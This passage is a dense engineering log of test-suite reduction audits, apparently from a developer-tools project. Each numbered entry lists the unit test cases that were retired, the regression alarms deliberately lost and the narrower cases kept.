Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the 